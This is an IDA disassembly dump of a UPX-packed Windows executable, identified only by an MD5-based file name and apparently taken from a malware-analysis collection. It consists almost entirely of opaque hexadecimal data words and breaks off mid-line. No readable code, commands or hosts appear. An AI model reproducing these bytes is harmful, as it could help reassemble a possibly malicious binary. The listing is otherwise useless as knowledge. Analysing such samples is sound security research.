; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : E812B3B281456CAD05C738F14C37D630 ; File Name : u:\work\e812b3b281456cad05c738f14c37d630_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31500000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31501000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 1400h dup(0) UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00003000 ( 12288.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31506000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 0C272D637h, 0AB57AF50h, 69A9AF7Fh, 561004Fh, 0B4E8BCDBh dd 5051B8D9h, 9CF11C7Ah, 0CDEF4509h, 7032FADh, 630F513Ah dd 0BC15D98Bh, 525E80F1h, 2DD9A05Bh, 9BADAFA4h, 0DC45BDAFh dd 0A8D36441h, 0AC15D9AFh, 5573D45Fh, 5825DB06h, 0E064D3Ah dd 48E32DE9h, 15DD00C0h, 0F85A00C4h, 0FAE5940h, 0E4538EB7h dd 426F9038h, 5C94666Ch, 0D5DD9963h, 0AFBDAE9Dh, 0DA2E8FE7h dd 0D8E45D04h, 5070D046h, 0D3101011h, 0BE2C78A9h, 6149303Ah dd 4CEBE9A7h, 4B038C8h, 6E10DA60h, 9CBBC958h, 0B0816AA6h dd 569C6600h, 2F4E731Ch, 1EE6BFE0h, 593A714Ch, 61056738h dd 0D4DD096Ah, 0AF3D1B15h, 6F702B5Bh, 80074A54h, 0AB15D8B0h dd 0A29BAB40h, 4F118607h, 54B08070h, 0AAAA0759h, 64C38A8Ch dd 5E793819h, 0B08840B1h, 0E62DEB66h, 3A64323Ah, 38C7440h dd 3DCAD15Bh, 3614A6ABh, 50525D97h, 505EED38h, 0B136C4B4h dd 4946B6E7h, 8D76718Eh, 25D9AC25h, 0BDA261B0h, 7EC83492h dd 0DB7453BAh, 4940F465h, 0EFB1EFEAh, 0AF072698h, 4DDB0386h dd 2C384DCCh, 0EB0DEABBh, 59029813h, 4883AF63h, 63DC253Ah dd 2CFF3CD7h, 561038AFh, 0C8F01619h, 6327B452h, 63F8384Fh dd 98550304h, 8E34B4B7h, 67270450h, 58609C8Fh, 77DC5F16h dd 7680EDD0h, 65D55F61h, 95EBE7EBh, 5835D3B9h, 50578016h dd 0C0A0EC6Ch, 915E89CAh, 0F5C4106h, 6C711600h, 0B6BB23h dd 41A10C4Fh, 0E08C47E3h, 0BC5C9Bh, 283E5A4Eh, 0A1DF26A8h dd 956F171h, 38D5D975h, 0BCEE5F43h, 0FE47E464h, 0F25490D3h dd 70B84CC2h, 2B50A3ACh, 38383A52h, 90490514h, 1A47C1CEh dd 63E0F052h, 0D75D7B23h, 2D535246h, 3E51F76Dh, 380D2613h dd 38B626CFh, 0E79C6A07h, 3C9D982Bh, 0D4B04B0Ah, 7A203A26h dd 23185E3Ch, 3084C6A4h, 0B15A0E98h, 34DE6223h, 50D42AC7h dd 0E66FF278h, 18E20DCBh, 0E23C6C08h, 0BFC840ACh, 0B23CF998h dd 5F8C5137h, 0EF5FC000h, 40B92E2Dh, 0FC38AA56h, 8378905Dh dd 968D498Bh, 50785899h, 5C1E54B5h, 0CE9358F4h, 952A098Bh dd 3475A97Dh, 8B4C8613h, 758E107Eh, 0E8F4C7B4h, 5D8E1411h dd 0ECFC7F49h, 4B8E0014h, 66A5C340h, 0C4E74E33h, 0D171C75Dh dd 0EFBEE62Eh, 0B82CFCA9h, 4674F5D0h, 38755650h, 0E0224C02h dd 4CCDCF75h, 0C6A44226h, 0B3EA4B1h, 54BF4806h, 982C3A03h dd 8A1B12Bh, 0EE0604E2h, 0DEBC2B99h, 0B104A21Ch, 0CFB974C0h dd 36310684h, 2874C73Eh, 0D218BD9Fh, 0E252C646h, 0A4455CA8h dd 0DC8F5236h, 0F42A41C9h, 0DB0EF858h, 0A30FA415h, 0BB03FA4h dd 0D3369399h, 7064CBCh, 700A7C38h, 0EFE988E4h, 55E05D7Dh dd 424838A8h, 0AC90D512h, 74B5A9Bh, 5E440A24h, 381B24A8h dd 0A4E309B8h, 0A0DBDFA6h, 6D24A6D5h, 3A001DDDh, 3BFC1170h dd 0AFA6929Fh, 0B85FAC05h, 0FC00B4E9h, 8C5FF678h, 0A05EC6CAh dd 0A805B652h, 0C9FDE759h, 0B4DC50FDh, 12A4DF57h, 27D10E0Fh dd 48D730ACh, 31C05DDBh, 50AC354Fh, 0AE899203h, 6C112FEBh dd 38915307h, 18DB2528h, 28DB64h, 0F0A41DD9h, 65822A94h dd 0C18B887Eh, 9325A003h, 0C30E45C7h, 1701BB51h, 0BD24BC42h dd 8C8DE25Dh, 14871408h, 5E2543A2h, 5B721059h, 527D3DAFh dd 1DDD73BBh, 480001A8h, 7E2B4F18h, 7A61C780h, 0D50D9054h dd 0BD55258Bh, 3AA88690h, 3BBB0853h, 4960AA64h, 8DAB24FBh dd 0A005093Eh, 1240EC2Dh, 0A06E1524h, 36BE3B01h, 30062EBh dd 65AFE861h, 0AA2AEB34h, 0F1119DBEh, 7FFBE263h, 61070758h dd 0AB2F48A0h, 24976BBCh, 0BB863655h, 0A68384Bh, 9B45838h dd 0E9E71CBBh, 0BB55AC5Eh, 0E3545857h, 0A92859DBh, 0C25912D4h dd 30030101h, 37D3615Fh, 31393C7Bh, 98C25DD9h, 0B9FC8D1Dh dd 0E1FF3D5Ah, 978E243h, 0FEC9BD7Dh, 7424AF2Bh, 9CE63AA9h dd 65E3D06Ch, 5CA187h, 5C519063h, 8048CED1h, 802B940h dd 0EC70490Dh, 7F3FAE89h, 58740CA7h, 742CDB26h, 0D5A66344h dd 36472EAFh, 0AFAEB074h, 0C94A3AEFh, 0D0A9A709h, 44D83192h dd 0A76B164Eh, 74D0B92Ch, 3F2A506Bh, 0E2C8868Bh, 7E14B9E7h dd 7FC0A0Fh, 8B535306h, 98368B49h, 42237F5Ch, 8CF58DE1h dd 4900A0h, 0D3FA5006h, 0FC8D3C91h, 843F0627h, 3EDF191Dh dd 0AA38DF3Bh, 97AFA05Ch, 0E631EB58h, 75CD033h, 0D30CD42Bh dd 0EA41B0AEh, 3159332Fh, 6FD04725h, 46492460h, 268DEFD8h dd 5724AC4Bh, 0DB5C10DBh, 254F60E8h, 96DB2F52h, 0FCBDF60Bh dd 3F64C06Bh, 2C39359Ch, 77E636E5h, 0D05A5A25h, 0D5E50BA7h dd 4A864Fh, 0E8572511h, 4451262Fh, 0CDEE6983h, 1585018h dd 0CA7414DDh, 649D0C71h, 88A72B31h, 953904Bh, 2829120Fh dd 8C99EA40h, 3A887040h, 1150BCD1h, 84B0E091h, 0A4670D68h dd 0E37538BAh, 51A5041h, 48B03A6h, 39BB9938h, 1A5BBCCFh dd 36882DBFh, 7541703Eh, 862A0B74h, 7D6B6C09h, 5C0901E0h dd 0A8478AFDh, 9C89CD0Ah, 0CC65C5D0h, 4BE16DD2h, 8C980A63h dd 17313039h, 0CB46569Dh, 9A0AF0AEh, 9C0D6B44h, 0F1299492h dd 8FBE6450h, 63F1FF90h, 7BCE50E9h, 22916B97h, 9B91DB52h dd 0EB26A727h, 8F1797Bh, 73975348h, 6D4324FCh, 7DE33D73h dd 3A4122A1h, 0F4B8A8CDh, 9FAD94BBh, 561AC6B6h, 41770C97h dd 3EB44EB4h, 45C434A2h, 535BD838h, 8B09D438h, 6CEC867Ch dd 0B329036Ah, 38633A0h, 40B0F827h, 69F9EDDEh, 0AA92B312h dd 7516015h, 0CE4D3D49h, 8086E6BDh, 0B331354h, 86EA4BEDh dd 56A78B79h, 0D9D03838h, 4293D44Dh, 43778B3Dh, 9044BCB0h dd 2671A2A9h, 626E691h, 522B0303h, 0D0416A51h, 70F3FC00h dd 40A06F67h, 3724515Ah, 482DDCFh, 30F3BCA2h, 92334716h dd 9ACBF1Bh, 0AC99AEF3h, 0FB060103h, 0B6A0B44h, 6DDB86Ah dd 0D78F4B76h, 530E4ECBh, 0E24092DCh, 121C820Eh, 2006B51Dh dd 0ADEEB85Ch, 0DD9A4CDh, 0AF5562BCh, 544FAF75h, 0DCF3936Ah dd 0BC4BAD59h, 14B72413h, 99D49CDAh, 0C0008F24h, 67FD4B76h dd 0DF7712BAh, 0B9C0FF20h, 5C343546h, 730FF024h, 0A8F6EF27h dd 284F8869h, 3238E141h, 781B594Ah, 95DADCCh, 3B2BB09h dd 13150F9Fh, 0C87C80E7h, 62051C0h, 2D633CCDh, 0E0EA9DE4h dd 526E4186h, 0D2D6865Bh, 0D00F6029h, 8043194h, 0F3889C41h dd 2CC4B0C0h, 963C60F0h, 4A34F35Eh, 2E76DC8h, 1E9F263Fh dd 5779CC15h, 14455473h, 0C638EE46h, 0E3DE1A87h, 0E2FB434Dh dd 195B0F4Dh, 5D3D2E97h, 6539C9C2h, 40C01438h, 92BE9B1Fh dd 3A631083h, 2F41E0F1h, 41346AD0h, 0F1F9ADBBh, 0D93400BAh dd 0DA55775h, 13F1B037h, 0AA6FAFA3h, 0ABF368DCh, 132A8F33h dd 2C38AC6Ah, 145A370Bh, 24745497h, 0C049515Bh, 82343C51h dd 0CC0496Ch, 4B45808h, 53706253h, 70181C00h, 14706253h dd 5371B86Ch, 9606462h, 0D3B61D69h, 6924D20Fh, 0F60B7838h dd 0EA705DE4h, 0BE1C343h, 5D384856h, 747E9240h, 5C5A201Ch dd 0F96753B8h, 4F3BB177h, 51A438BCh, 3E197EF0h, 5849E737h dd 5AA37F64h, 543C4BF8h, 7BB89969h, 70C67283h, 6C26462Ch dd 400A2ED9h, 0D868A307h, 4B5DC443h, 0B7BB552Fh, 0F6AFBFD3h dd 6A11655Fh, 0A0054B5Bh, 0E1C05D2Eh, 0D1525846h, 0F0130703h dd 845DAF94h, 54DA4B26h, 245A6C6Eh, 675D6C54h, 8C697B0h dd 165A6EADh, 9A06B4Ah, 0D333B522h, 922724A3h, 17A8FB18h dd 40309E67h, 0E8955469h dd 0FFEB1FD3h, 16539285h, 0EB5C7E9Fh, 0C903353Ch, 0D139C5Eh dd 0C240AFD8h, 6E221BD3h, 2A75030h, 3DCE7646h, 9D213840h dd 0F4402590h, 966BC499h, 9708D3A8h, 0CC246C71h, 3FDEED08h dd 55FC34B6h, 0F2572448h, 64DBB3BBh, 6DD71B6Bh, 6AAC0511h dd 0BB6A0D7Ah, 2A567007h, 0AA0587AFh, 0FE6EE122h, 579B11E8h dd 9ADBCF0h, 659C91Fh, 0D090BBEBh, 777055F4h, 47BC971Ch dd 5B665F82h, 0D1BCC053h, 7A42ACCDh, 385C03D2h, 90D54DDCh dd 43ABC463h, 0B04C6BF6h, 29225FEDh, 88EAC0F6h, 59D8F2A8h dd 0D82F1FD0h, 1BA0D751h, 15DA010Fh, 15D8705Bh, 888B62AFh dd 2752AA6Ah, 0B67E8F4Fh, 0EA0D6861h, 5B0DD875h, 0B7284464h dd 0EC5143BDh, 37F1E75Fh, 0A843AF09h, 0A7C9D977h, 28653AEh dd 0D093AEC1h, 0ED22AFABh, 3CEA300Eh, 26326B09h, 2B7613D0h dd 65DB90DEh, 9D083863h, 1FDD3C25h, 0E85AD16Eh, 0BD590DC4h dd 5BD36648h, 257C2540h, 0F375E35Fh, 2B385C81h, 906DD990h dd 62E5ECD3h, 8753AFD4h, 39ABD113h, 0F4FA3DA2h, 0D70FCF6Ch dd 531CAF0Dh, 232B08E3h, 372DF28Bh, 7FDC530Fh, 2D07C006h dd 81EC87ADh, 0AEAF54A3h, 0D82F6CCCh, 8B5E3BA7h, 0DBBFBB38h dd 8CC96B74h, 0C3E06EFAh, 0F0F395CDh, 77FCE07h, 7CA6B4CCh dd 9A82C44h, 45717843h, 0AF4A45EAh, 0BE25E331h, 65C188C8h dd 0D577F17Ch, 0CE83EE83h, 28C96062h, 63FE20D4h, 32B0FC81h dd 98D31E92h, 0ED2493DFh, 572F0030h, 6DBD27D8h, 5FEB6160h dd 6751535Bh, 38E0A170h, 40EC0BF4h, 0C7EEF841h, 3C00FF51h dd 5BD096FFh, 532F2B8Fh, 54FEA56h, 7BD6306h, 0B6887DD9h dd 4019DF5Dh, 5CF560E9h, 5C93DBE1h, 9DA4AD4Fh, 8B650544h dd 0A69C308Dh, 3A525Bh, 0F90BC868h, 0A7DAE87h, 50C68255h dd 41594824h, 60302FF7h, 550EEBA7h, 42934449h, 533CDB23h dd 653ED7B1h, 2475ADD1h, 4E82055Dh, 97E64E40h, 567401Eh dd 48741C66h, 4AF58486h, 2E65BD67h, 47E01841h, 4E8B5EBDh dd 0BF441B09h, 0BBCF55C3h, 74E716A2h, 39255DD3h, 63CD8DBBh dd 385EC522h, 0F15B016Fh, 1BC1E6B1h, 45407CD0h, 6842405Ch dd 3BE3EEDCh, 82645860h, 0B7EE501h, 648F7C7h, 48AC40h dd 0D59664E2h, 6D066EDDh, 3C7A8924h, 0AACBF9CFh, 1E364448h dd 81787048h, 53CD3DDBh, 55F0E28h, 0FA9E870Ah, 1D06DD19h dd 4B7C067Eh, 39E99C0h, 77700506h, 86229866h, 25A018Ah dd 1629745Ch, 0D5C4CC3h, 3851787Dh, 4D554E7Ch, 0BDB81ECFh dd 5F8B8E7Fh, 6CE2C4DEh, 1E660C4Eh, 4E5DA729h, 463CA5A1h dd 471C80E8h, 2A8EE61Bh, 88616538h, 0E12D7722h, 559740E3h dd 7AD30070h, 0EBBB3444h, 0DD172DE2h, 3514E24h, 6FBF06ACh dd 241F252Ah, 0B0E5AF4Ch, 0CB63B815h, 5FAFA25Bh, 0D058024Fh dd 4C650900h, 26FC1666h, 0E8DDDEDh, 68E7EA28h, 7805F06h dd 0C845397h, 0FD98B422h, 9084567Ch, 0CC8CF888h, 694CDE17h dd 0D8B4C4B0h, 34BC20B8h, 73C19C49h, 68A418A0h, 846CB8E0h dd 0EF5A2A64h, 0F334EE8Bh, 0A5203473h, 98E448DBh, 5F81B06h dd 3950B900h, 5EE03C47h, 445B4DFBh, 654864DCh, 6FD3F045h dd 61F25E3h, 52FB68D6h, 0EA655628h, 0FDD43017h, 3AD8A5C4h dd 7738B533h, 63342620h, 0D348F1D4h, 0A8D71D64h, 90D353B0h dd 591FA355h, 0CF4673Ch, 0D9409893h, 3E23606Dh, 0CA03826h dd 445E765Ah, 0B1BC9437h, 3120B168h, 160B106Eh, 0E8702A63h dd 0DB34FBE6h, 9669BE51h, 84ECC472h, 2A40A359h, 0F157B324h dd 577FD6B9h, 0B8290ECCh, 0E90CAB50h, 2CA4076Dh, 304F95AFh dd 73E75297h, 75A54456h, 0EBD402F0h, 0B01F0D5Bh, 40EFD63Ah dd 0C6438F7h, 0D1B21101h, 67246F40h, 43AB46C3h, 0A8EB5ABEh dd 8153C8C6h, 0BEA40302h, 88267F37h, 6D03EC03h, 73BBE168h dd 5FE9FF4Bh, 75629E09h, 302148D8h, 0B2D8369Bh, 0C69D7635h dd 9CEBFD2Dh, 0EB167CD4h, 98477E91h, 0A24570E9h, 33420EBBh dd 1C371B77h, 6134B700h, 360BEB96h, 0AD6B2818h, 98F0FB7Ch dd 5770DC0Bh, 45BB5C18h, 0B46DC11h, 93599D30h, 0E560E852h dd 635CEE08h, 90644F32h, 2338E10Ch, 0EE6A433Ah, 8418991h dd 5C38A107h, 6876570Eh, 12475199h, 0FF4C5416h, 4B605593h dd 48283944h, 0EF4B2787h, 0A9DBBDA4h, 0DD05B105h, 65055E27h dd 3A42DC83h, 5533A658h, 575C5F23h, 4297D370h, 0CADD4107h dd 0C13893D5h, 0A5660C7Ch, 0C02DEBA8h, 10AE744Ch, 0B0DC210h dd 4226AF3Ch, 96C4B72h, 5E2640B7h, 28444468h, 78EA536Ah dd 6D8E8832h, 9D3BF348h, 0B87300D8h, 219A9566h, 0EE045D83h dd 0E5E71050h, 265B0BDBh, 0E0DB0912h, 0F663AFCDh, 66E65911h dd 3E58C3CDh, 73135800h, 0B08510D3h, 8E6538C7h, 0B81D7B72h dd 0B11AE54Bh, 0A9AE2C2Dh, 0D158BDA6h, 3194CDA9h, 0A75E2327h dd 0C82F3E2Ch, 3422CE6Bh, 5738D792h, 38C77D4Ah, 9EB57153h dd 20C9E63Ah, 45689850h, 0F26E9FABh, 415466FEh, 4017DB76h dd 7678506Dh, 2690F03Dh, 0A8354C27h, 42214975h, 0E8F4316Ah dd 0B04417F6h, 40789A58h, 6AE3332Bh, 5E585C42h, 60CC7B38h dd 0ED08D945h, 3073B196h, 0CF713E91h, 0D782E706h, 5750128Eh dd 81BB5985h, 0FF68A54h, 408A7061h, 5D2D5858h, 917F3DC0h dd 4B023B54h, 0EB57DB6Ah, 33B24A7Dh, 2EDD5664h, 665CA458h dd 0D22D5EC3h, 0ADB01CA9h, 2DE6A4D1h, 8D5D364Ah, 76035718h dd 3CDA9440h, 655491ADh, 0A7005817h, 40F046B8h, 664D707Fh dd 5799D100h, 101A449Ch, 41CD9DDh, 4524A44Ah, 0D38E7E70h dd 97584940h, 237AD116h, 0DBE7E5FEh, 0A7826306h, 5CD7549Fh dd 7C12F95Ah, 8382D5E0h, 5B475EAFh, 900DBF8Ch, 132E505Ch dd 6507ACEDh, 88DD3E4Eh, 7C24DC5Dh, 1491Ah, 73CB6B08h dd 451CF533h, 0E5E0860Fh, 140BD922h, 1A6BF2A8h, 0BC07A806h dd 1273ED2Ch, 36D332BBh, 8DCB7610h, 3561481Dh, 0EE792551h dd 74EA12AEh, 7EAEB87Fh, 647AA954h, 4B25532Eh, 26EF67AFh dd 42B80E5Bh, 5700808h, 51E07F60h, 56594A93h, 0A3802D70h dd 0E6661770h, 0CAB475F5h, 0D3515088h, 0C7DE3C6Dh, 72B4B89Ch dd 0A8B86B57h, 5A67576Ah, 4AFA5B00h, 0E230EC75h, 8051E7A0h dd 0A489B323h, 0AC5F0625h, 93498980h, 287C778Bh, 0DF1355D3h dd 5961107Fh, 660F5EC9h, 0E2931420h, 0FF49FABAh, 538B1206h dd 43783C42h, 0B4F206B4h, 7FBD54C3h, 0D6DDB825h, 0D7FE5BABh dd 0BAB977B6h, 0AC1DDB45h, 0DAEC1656h, 5A4506ADh, 623A862Ch dd 0D3F61944h, 0E3A17843h, 0D540E6A8h, 0C61D371Fh, 2C286284h dd 0ED5F8425h, 2C4DE968h, 4150F5ECh, 80633540h, 8040D7E3h dd 19ECD94Ah, 38907A31h, 257DF51Ch, 90F8E5B0h, 87921183h dd 0CDADDC20h, 0BB83584Fh, 0B8689ECDh, 3EBB312Bh, 3060EE33h dd 56CD2D0Bh, 0F4F5363Ah, 393F125Fh, 0AD984434h, 0D33A405Ch dd 0F4B08F56h, 4A93ED2Dh, 0E7BEEE5Fh, 3F3C1631h, 799D740h dd 0A43F036Bh, 686912E7h, 9917B4Ah, 0A9E99353h, 0C06914DAh dd 0BB5602BDh, 98984F73h, 59BA8813h, 3053BB98h, 103FBF58h dd 0FE9344FBh, 0D450DA68h, 5BE7DE1Bh, 31DB1A5Fh, 9888DA03h dd 86FD8E6h, 842A0AE4h, 0D8E34C75h, 0EDEE0957h, 1E17FB2Dh dd 5B2C0931h, 562F2A55h, 0BED3A3DAh, 0B44BCE31h, 5F115A8Bh dd 161B110Ah, 7DE58578h, 19320B1Fh, 0E47807D0h, 2A5E4858h dd 25A8C212h, 0B365943Dh dd 440E427Ch, 9F3B773Ah, 0DDCF4C59h, 4E5D14F8h, 28C59F48h dd 83920E08h, 1549474Dh, 6ED1336Bh, 6509717Ch, 0CACC38D5h dd 0F8664CF0h, 2093886Bh, 0C165613h, 5BE45960h, 2B1692DDh dd 17DB3634h, 5C152E01h, 0E4373B26h, 3A512857h, 360C1AB3h dd 72FFED4Dh, 28443285h, 0B4C61DE1h, 73AC63CAh, 26FB4D35h dd 818D8FCBh, 0DB4CC4D4h, 4C707C1Eh, 0B9EDB51h, 465D7A70h dd 0FE3BF61Bh, 0EC7D1259h, 9E1EB43Bh, 7854C041h, 0B0302438h dd 0BD6C5670h, 639DD085h, 3B4CBAEAh, 0F0894C48h, 956FE958h dd 74772Eh, 0E4AF2237h, 61331C74h, 6C8CCB34h, 66383870h dd 0FDFC735Ch, 4361AFFCh, 0E73B09FCh, 6C50B798h, 100274D0h dd 2381C7E1h, 6009083Dh, 467E3B4Dh, 28249Ch, 0D0DB9C56h dd 4C3C2B4h, 8CC74478h, 0F24A76Eh, 7B9D5D7h, 9E70414Fh dd 3E30F531h, 88400E4Dh, 505D2DC5h, 70F0730h, 0D90F680Eh dd 0F8D18A46h, 0CA9135A0h, 0A03C72C0h, 0F2D4EED9h, 15273CE5h dd 522C2ED9h, 746D2420h, 0C22C2E79h, 926894D1h, 6B58115Ch dd 0DCD1170Ch, 89DBB0D9h, 7E3D0D4Ch, 0F031085Dh, 0E5542840h dd 7439E118h, 2E33223Eh, 0CC8A13A8h, 0B0255307h, 685AF9D2h dd 15FCC520h, 30D03476h, 12706A20h, 9F4699F0h, 8B625823h dd 4C7CB553h, 98847658h, 723B7C31h, 5C1219C8h, 0EDBAE08Eh dd 5F850370h, 428E4054h, 0DB7377h, 476000B2h, 7561497Ch dd 296C436Ch, 787A8203h, 0E5A891E1h, 0C438A435h, 12AE874Fh dd 54A82643h, 79BB533Ah, 0D0544348h, 0AD42721Eh, 96D3733Ah dd 0BB6F8560h, 0FE40FCC9h, 1C8121AAh, 8AF44923h, 0B0B83E97h dd 0EC7CA257h, 6158B019h, 5BC0F4E4h, 4444572Bh, 5FA5E48Dh dd 55BCC0C2h, 6A94E893h, 189299E5h, 4094C490h, 0A8468095h dd 0D9A16213h, 0BCA3A035h, 7FE81FE1h, 0ACB8D87Dh, 0B4D5970Ch dd 57D9FD16h, 434270ECh, 941CAB0h, 311D332h, 5C42B464h dd 34B70D56h, 0F2BD7DC9h, 2424482Dh, 0AC0DD913h, 0EE8F581Dh dd 7B58A88Dh, 30993900h, 916B19BAh, 196A4A26h, 71B2CA81h dd 0ABA41D2Fh, 817F41Fh, 241685D7h, 0D81BC502h, 14D83BC4h dd 79662EA6h, 775931AEh, 25936B4Eh, 95F2F8FEh, 0F166E31Dh dd 72117C7Fh, 0A420DB73h, 20417C70h, 62A2E854h, 9618019Bh dd 2249DFB7h, 3AD65618h, 1FE4C8A4h, 0A75C3593h, 88EF528Bh dd 0D1885356h, 914E5EABh, 0BE49D838h, 0E76B4511h, 0BC67DCE0h dd 2040D510h, 5BD9EF4Fh, 2784E949h, 4868D858h, 0D24C6869h dd 0D7E75FECh, 0AC41DEBh, 538B01D6h, 0CE744C8Dh, 0EB8CB65Ch dd 8DBA43F6h, 4546A40Dh, 98A1F044h, 8CB4880Eh, 1054DD67h dd 208CCA4Ah, 6B7BC0DEh, 41784443h, 0EF49DB0Ch, 509657D6h dd 0A76D1073h, 0CF351EBh, 0FC045995h, 13329424h, 0FC40D96Ch dd 4D858B4Bh, 52B8C7CCh, 0F44DD974h, 92628A7Bh, 0FC88B91Ah dd 56510990h, 690E46E4h, 0E4B06191h, 412431CFh, 0A9575B24h dd 9C684DCAh, 985A8730h, 4DD85CDDh, 600B176Bh, 384ACD4Dh dd 0B7B9D1F8h, 38B88D2Eh, 731657FCh, 0CAD4FF3Dh, 5DA13094h dd 0CFE005A2h, 0D7BA3D24h, 0D3C45725h, 0AA265592h, 93B2DFCh dd 5B3809AAh, 0AF09774Ah, 16394465h, 0FCFE9A0h, 0BF43EDE2h dd 5A759CE8h, 0B71B82Dh, 0BAAFD317h, 58A1C332h, 6263922Ch dd 43361808h, 65E65E90h, 1A137C3h, 0D402C564h, 43FE3FDDh dd 0BBFF221Ch, 650B7B5Eh, 0A737F10Fh, 0D35A5CBBh, 0BBE5506Dh dd 84ADD790h, 0A9D86449h, 2C24248Bh, 67BED43Bh, 881C4B23h dd 4442FD70h, 71882C50h, 1B894454h, 0D290EA57h, 6E41E8F5h dd 0E93A40BBh, 30EC50E6h, 92D14740h, 0C1027428h, 1E915697h dd 8864B871h, 0F783D4C3h, 2F4762B1h, 82395A19h, 9D64CCC2h dd 745D34DAh, 9D5FE840h, 38CB7298h, 228E080h, 4013CADh dd 0CF8E6B88h, 65769576h, 0A08A8ADCh, 0D2A0692Ah, 47AC4330h dd 0A25F2854h, 56A0286Ch, 5F55D4DDh, 113755CDh, 6B094CEBh dd 0E3060387h, 53523D86h, 2BAC1C44h, 0D4502D9Ah, 33EC270h dd 947865C0h, 966B0036h, 50BE9CA3h, 0ACB31B76h, 50EF01D1h dd 53304184h, 88A9079Ah, 0E5188009h, 0F1B64A20h, 0D3FC3608h dd 6A4A4DEh, 1C630380h, 34E03F02h, 0CC55FA6Ch, 0D8B4CA8Ah dd 0DE7F0380h, 734E56E2h, 529C654Bh, 4F7BFD07h, 0D9430C5Fh dd 0A7A541B4h, 0E13B2F98h, 0CD93F6Bh, 167B9A8Ch, 77906D20h dd 0AC1C75C4h, 57265059h, 1A19F6D3h, 5DA2B4D3h, 5B0CE37Ch dd 167B281Eh, 4753B824h, 1A3A0C98h, 2051D00Fh, 6E65476h dd 0C69644Fh, 0D97DF928h, 846ECF28h, 7C384612h, 15D6974Bh dd 4C1932E5h, 64F576DAh, 0AB3D5B6Eh, 7260E100h, 93AB1CA6h dd 66B77DB1h, 5A6439F2h, 5F76DE5Fh, 0C0E786B8h, 93604031h dd 30032C5Ch, 838647Bh, 7921DDA8h, 93EC3D5Ch, 7C77A2EAh dd 4ECD0A6Dh, 0A4DF409Fh, 0D4C4659Fh, 0A1BB074h, 0ABEB9125h dd 0FDD684Dh, 57966C51h, 0AF326F2Ch, 0E950221Bh, 8D519B10h dd 3C448751h, 0FD6F883Fh, 0CECD8C00h, 78CF87DDh, 4D107E9Dh dd 20113053h, 49B6114Fh, 47EB1E58h, 50AFB7D7h, 5CD9689Eh dd 0CEBB91D5h, 7E15587Dh, 0C217E7h, 0CB65DD9Fh, 0D4BDB8F5h dd 473550h, 0D4BC8E96h, 44511AC2h, 27833081h, 60F6E99Eh dd 81603D40h, 5015965Fh, 0EB3BEBCEh, 0ECD0992Ch, 2E3570F1h dd 56987A19h, 0F6B98FA1h, 642431A8h, 1840ADD1h, 0B01D3F5Fh dd 70697C23h, 0DE2C1697h, 3CB126A7h, 6D9A5A0h, 8798BB28h dd 690C5DBBh, 90BCEB9h, 3C74A358h, 0BF582264h, 705CA97Dh dd 0B0066785h, 9D0D8680h, 5B835F7Fh, 0D8BA0013h, 315457ECh dd 915F78A7h, 40C87F14h, 0EBB61A99h, 0C44106EDh, 2D0C4731h dd 9C3764D1h, 28484A32h, 0E0B4CC32h, 695D5C3Fh, 4830D300h dd 577CC7D1h, 90952436h, 804EF528h, 60838B05h, 56EEDDCAh dd 0C15B58A7h, 0FFD9ED9Dh, 6475AF9Ch, 2F605545h, 7CCA9652h dd 4701509Ch, 58741CDDh, 0A78FE1ADh, 0B9D14422h, 0D5547D5Bh dd 0BC234751h, 94DB987Bh, 0EC1B068Dh, 0DBB1DB5Ch, 9321103Ah dd 73734C17h, 55487333h, 0CF585C44h, 54737373h, 0D440AC50h dd 2CA86A40h, 402C272Eh, 0B8E84028h, 3EABB9EBh, 5BDE3B06h dd 804D5CBCh, 466B10E8h, 77BFEAB9h, 0C355709Ch, 4358B749h dd 9D485751h, 7D55852h, 0A7995B57h, 7F7B50C6h, 0EE1A5060h dd 1EB0B2B7h, 11304F07h, 7896708h, 5050CE80h, 5413AFABh dd 243808BBh, 7F6A2024h, 6762617Fh, 0AF51607Eh, 61EFADC1h dd 6060686Ah, 357E357Fh, 508F3528h, 392A3F1Dh, 3D313C3Ch dd 7F8BAFAFh, 0D8F7764h, 0E9369963h, 25DD51A1h, 0DAAEDB55h dd 57C96C56h, 0AFDA8F16h, 607C56EFh, 0D8C96416h, 0BDB21757h dd 8AB85ABBh, 35327EAAh, 0AF3FAF37h, 0C3217EABh, 425199C9h dd 0ADC1EDADh, 22915746h, 0AD12FA38h, 40ADFA36h, 0ABFD88EAh dd 0F94C44A7h, 0A3994AC8h, 0D658A1C8h, 40952152h, 0AF89ADD7h dd 679B0FC0h, 4CC609C2h, 0B4446A28h, 5A2D2107h, 0A68F2D6Ah dd 0A3152199h, 0D954A1CDh, 0CC54A159h, 9EC1AE97h, 37E41041h dd 40A0B3A3h, 0E25B814Ch, 0A7AB4B09h, 99CB3026h, 44895175h dd 9A47F254h, 0A9342FC9h, 38DD7B08h, 4AFEC131h, 4DC63631h dd 8A8E8B41h, 0E27837h, 44C95098h, 7605078Ch, 8BEDEF42h dd 90F41E6Fh, 0C91942C1h, 5004A7BDh, 9A6A9444h, 0ABEB5F9Bh dd 4C6C2189h, 71B474AFh dd 9D9D9F4Ah, 0A77C36DFh, 0D136896Fh, 0E0AB436Fh, 9D93D3E8h dd 34F80D42h, 993C8F6Bh, 0FE754D9Bh, 0C3AD5C74h, 180AAE99h dd 